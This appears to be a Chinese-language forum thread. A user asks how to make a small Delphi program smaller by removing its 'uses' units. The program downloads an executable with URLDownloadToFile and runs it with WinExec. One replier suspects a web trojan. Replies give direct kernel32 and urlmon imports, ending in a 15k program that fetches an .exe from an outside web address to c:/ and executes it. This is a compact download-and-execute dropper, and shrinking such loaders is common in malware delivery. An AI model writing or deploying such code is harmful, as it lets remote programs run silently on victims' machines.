谁能帮我减肥代码?(50分)

program down;
uses
windows,UrlMon;
begin
UrlDownloadToFile(nil, Pchar('d:/1111111.exe'), Pchar('c:/1.exe'), 0, nil);
Winexec(pchar('c:/1.exe'), sw_show);
end.



要求:去掉uses里面所有库.同时软件功能正常.

用 ASPack 压缩吧~~
去除 Uses 中的单元可能性不大,去了这个也要加那个的

难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?难到没有人会吗?

呵呵，想编网页木马啊，你自己看看urlmon单元能不能裁减！用aspack是正道，要不就自己写函数吧。

不是的，只是想写以后下载工具
program down;
uses
windows,UrlMon;
begin
UrlDownloadToFile(nil, Pchar('d:/1111111.exe'), Pchar('c:/1.exe'), 0, nil);
Winexec(pchar('c:/1.exe'), sw_show);
end.

UrlDownloadToFile 需要调用 UrlMon
Winexec 需要调用 windows
如何把 windows，UrlMon 里面我需要的东西 直接写到我的程序里面 从而可以去掉 uses
达到减肥的功效？？

program down;
function WinExec(lpCmdLine: PAnsiChar
uCmdShow: LongWord): LongWord
stdcall;external 'kernel32.dll' name 'WinExec';
begin
Winexec(pchar('c:/new/py.exe'), 5)
// SW_SHOW = 5;
end.

UrlDownloadToFile有点麻烦，不好弄，一层又一层的，
自己慢慢搞吧，凡是必须要用到的定义就在自己程序里面声明，
耐心点一定可以的。。。。 Good Luck ！

UrlDownloadToFile 也可以这样写啦，反正不打算实现接口，所以接口也可以用 PAnsiChar 或 Pointer 去替代。我试过可以的

function UrlDownloadToFile(Caller, URL, FileName: PAnsiChar;
Reserved: LongWord
StatueCB: Pointer): LongWord;
stdcall;external 'URLMON.DLL' name 'URLDownloadToFileA';


以下是源程序，编译结果是15k
program UrlDownF;

function WinExec(lpCmdLine: PAnsiChar
uCmdShow: LongWord): LongWord;
stdcall;external 'kernel32.dll' name 'WinExec';
function UrlDownloadToFile(Caller, URL, FileName: PAnsiChar;
Reserved: LongWord
StatueCB: Pointer): LongWord;
stdcall;external 'URLMON.DLL' name 'URLDownloadToFileA';

begin
UrlDownloadToFile(nil,
Pchar('http://www.bundur.net/OrganChart.exe'),
Pchar('c:/OrganChart.exe'), 0, nil);
Winexec(pchar('c:/OrganChart.exe'), 1);
end.